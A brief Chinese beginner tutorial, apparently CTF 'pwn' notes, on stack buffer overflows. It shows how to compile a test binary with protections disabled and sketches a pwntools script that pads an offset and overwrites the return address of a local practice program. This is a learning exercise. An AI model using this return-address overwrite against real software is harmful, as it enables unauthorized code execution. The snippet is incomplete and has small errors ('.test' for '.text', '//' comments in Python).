栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

Pwn-保护和溢出

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Pwn-保护和溢出

检查保护:checksec 文件名

编译并关闭栈保护:gcc -no-pie -fno-stack-protector -z execstack -m32 -o read read.c

查看程序使用了哪些函数:objdump -t -j .test.read(推荐使用ida)

退出pwndbg:q

用python写exp:

vi exp.py
i    //进入插入模式
from pwn import *    //导入pwn包
p=process("./read")    //建立一个进程(在同一个路径下这么写,名称是read,p是进程的句柄)

句柄详见:进程的句柄,PID及线程_hs5570的博客-CSDN博客_进程句柄

offset = 0x29 + 0x4    
//offset为偏移,0x29为你想要的偏移量,esp加0x29到了(下面是)ebp,再加0x4到了(下面是)ret(返回地址)
payload = 'a' * offset + 目标地址,如32位地址:p32(0x...)
//payload可以理解为需要的数据,用a覆盖了0x29的空间和ebp,目标地址覆盖了返回地址

待补充

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/589415.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号